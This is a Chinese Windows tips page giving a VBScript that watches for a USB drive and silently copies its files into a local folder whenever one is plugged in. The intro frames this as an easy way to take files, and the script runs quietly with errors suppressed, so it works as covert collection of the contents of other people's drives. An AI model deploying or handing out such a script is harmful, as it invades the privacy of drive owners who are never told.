win10专业版系统下载 - 做最好的Win10系统下载网站! XP系统下载| Win7系统下载| win8系统下载| 纯净版系统下载| 笔记本系统下载| U盘装系统| 一键重装系统| onekey|
电脑系统城>您的位置:主页 > WIN10系统教程 > 让u盘插入Win10专业版系统电脑后自动复制文件的设置攻略

让u盘插入Win10专业版系统电脑后自动复制文件的设置攻略

发布日期:2016-04-18 作者:win10专业版系统下载官网 来源:http://www.winxp8.com

      很多用户使用u盘来存储拷贝文件,当需要复制别人电脑上面的文件的时候,想要轻轻拿过来的话,如果一一复制就太麻烦了。其实此问题,只要用户巧妙设置下,就会让电脑插入u盘后自动复制的,现小编介绍让u盘插入Win10专业版系统电脑后自动复制文件的设置攻略,感兴趣的用户赶快来学学吧。
1、在桌面空白处右键选择“新建——文本文档”选项。
2、将下面的代码内容复制粘贴到刚创建的记事本文档中:
set fso=createobject("scripting.filesystemobject") 
set ws=createobject("wscript.shell") 
dim USB, file, folder, files 
USB=inputbox("请输入U盘的盘符"&Chr(10)&"如插入的U盘为F盘,则输入F","插入的U盘盘符","F") 
folder=inputbox("请输入复制到的文件夹"&Chr(10)&"如想复制到D盘,请输入D:\","请输入复制到的文件夹","C:\USB") 
files=inputbox("请输入要复制的文件类型"&Chr(10)&"如要复制EXCEL文件,输入xls;默认为全部类型","请输入要复制的文件类型","ALL") 
USB=USB & ":\" 
folder=folder & "\" 
if files="ALL"then 
file=USB & "*" 
else 
file=USB & "*." & files 
end if 
if FSO.FolderExists(folder) then 
else 
FSO.CreateFolder(folder) 
end if 
on error resume next 
do 
wscript.sleep 1000 
if fso.driveexists(USB) then 
fso.copyfile file,folder 
fso.copyfolder file,folder 
wscript.sleep 20000 
end if 
loop
3、,其重命名为XX.VBS即可
通过以上设置后,只需要将u盘插入电脑就可以实现轻松自动复制文件了,操作方法非常简单、有效。
 
分享到:

返回顶部

win10专业版系统| win10专业版系统下载| win10专业版官网| WIN10专业版| 网站XML| 网站地图

本站发布的系统仅为个人学习测试使用,请在下载后24小时内删除,不得用于任何商业用途,否则后果自负,请支持购买微软正版软件!
如侵犯到您的权益,请及时通知我们,我们会在收到邮件的第一时间处理
Copyright ? 2020 win10专业版官网 All Rights Reserved 版权所有 备案号:湘ICP备18014698号-10